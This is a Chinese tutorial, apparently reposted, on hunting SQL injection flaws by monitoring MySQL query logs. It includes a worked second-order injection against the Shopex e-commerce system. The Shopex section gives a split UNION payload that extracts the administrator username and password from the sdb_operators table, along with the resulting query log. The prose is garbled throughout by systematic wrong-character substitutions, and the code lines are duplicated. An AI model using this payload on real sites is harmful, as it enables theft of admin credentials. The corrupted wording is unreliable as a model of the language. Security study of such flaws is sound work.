代碼審計技巧講解

0x01 注入漏洞簡介

注入漏洞是web應用中最多見的安全漏洞之一，因爲一些程序沒有過濾用戶的輸入，攻擊者經過向服務器提交惡意的SQL查詢語句，應用程序接收後錯誤 的將攻擊者的輸入做爲原始SQL查詢語句的一部分執行，致使改變了程序原始的SQL查詢邏輯，額外的執行了攻擊者構造的SQL查詢語句，從而致使注入漏洞 的產生。

攻擊者經過SQL注入能夠從數據庫獲取敏感信息，或者利用數據庫的特性執行添加用戶，導出文件等一系列惡意操做。常見的建站系統出現SQL注入漏洞風險機率是很是高的，而本文就SQL注入漏洞的挖掘方法和你們分享交流，其餘web安全漏洞暫不作探討。

0x02 漏洞挖掘思路

咱們知道在源碼審計中這樣的SQL注入漏洞很容易被發現，可是對於咱們這樣不會代碼審計又想要挖漏洞的小菜來講該怎麼辦？那就要講究方法了，這裏和你們分享下我平時挖掘漏洞的一些思路。

首先一個好的測試環境很重要，這樣咱們能夠在短期內準確的找出注入的位置。在挖注入漏洞以前咱們開啓MySQL查詢日誌功能，由於有沒有注入的發生，日誌裏面均可以最直觀的看到。

而後用某個文本查看軟件看日誌文件打開網站程序裏面執行的SQL(我這裏用的是Bare Tail)

接着就是找輸入點了，這個是重點 (這個過程也要仔細觀察mysql查詢日誌)。

有些輸入點信息，程序沒有過濾直接查詢數據庫，就形成了注入，

例如，我GET提交:

http://localhost/index2.php?id=1a

1	http://localhost/index2.php?id=1a

在監控的MYSQL日誌中跟隨1a，此處出現id=1a，能夠看出該處未做處理，

而且是一個整型變量，且在單引號外面，

那麼咱們提交一下URL便可注入，獲取數據任意信息。

http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

1	http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

 

0x03 Shopex漏洞實例

以shopex漏洞挖掘爲例,shopex爲部分源碼加密,解密較爲繁瑣，涉及文件太多，進行代碼審計須要耗費不少時間，然而利用上面的方法便可輕鬆找出漏洞。

打開網站，登陸後咱們隨便來到一個產品頁面，點擊收藏該產品的時候，查看post的信息，其中的75是咱們產品的ID，該處也是個輸入點。

咱們將其改成74a在提交一次試試，跟隨SQL日誌，能夠看到其執行的語句爲。

能夠看到該處是沒有通過過濾的，74a已經成功寫入數據庫了，若是二次取出時也沒有過濾將形成注入，咱們再來到會員中心頁面，該處會在正常操做下顯示咱們收藏商品。

此時查看數據庫執行日誌發現74a已經出現了，由此能夠判斷該處存在二次注入。

因爲這裏是組合而成的，咱們構造好注入語句而後拆分提交，便可繞過首頁的過濾

http://localhost/index.php?member-SQL-ajaxAddFav.html

1	http://localhost/index.php?member-SQL-ajaxAddFav.html

咱們將上面的SQL替換成如下信息，分三次提交：

0)/**/union/**

1	0)/**/union/**

**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**

1	**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**

**/from sdb_operatorslimit 1%23

1	**/from sdb_operatorslimit 1%23

來到會員中心頁面在產品收藏處能夠看到管理員信息。

觀察數據庫日誌能夠看到此時執行的SQL語句爲

Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10

1	Query   SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages

0x04 總結

這個半黑盒測試的流程是：

開啓查詢日誌——查找輸入點——-跟隨輸入信息——–是否可利用——-構造注入語句

此過程當中的重點就是找輸入點和跟隨輸入信息。

輸入點是咱們實施注入的入口點，咱們必須有效控制這些才能實現注入，這些輸入點能夠包含其中一些：

1）表單提交，主要是POST請求，也包括GET請求。

2）URL參數提交，主要爲GET請求參數。

3）Cookie參數提交。

4）HTTP請求頭部的一些可修改的值，好比Referer、User_Agent等。

5）一些邊緣的輸入點，好比.jpg文件的一些文件信息等。

有些程序採用了一些錯誤處理，就算SQL查詢語句出錯了也是沒有任何報錯的，這個時候咱們只能經過監視SQL查詢日誌來判斷了，一旦有注入漏洞的產生這裏將是最早看到。

熟練運用該方法基本能夠找到程序中全部的注入漏洞，且不須要太懂代碼，要得只是耐心和細心。

原文地址：http://www.91ri.org/7818.html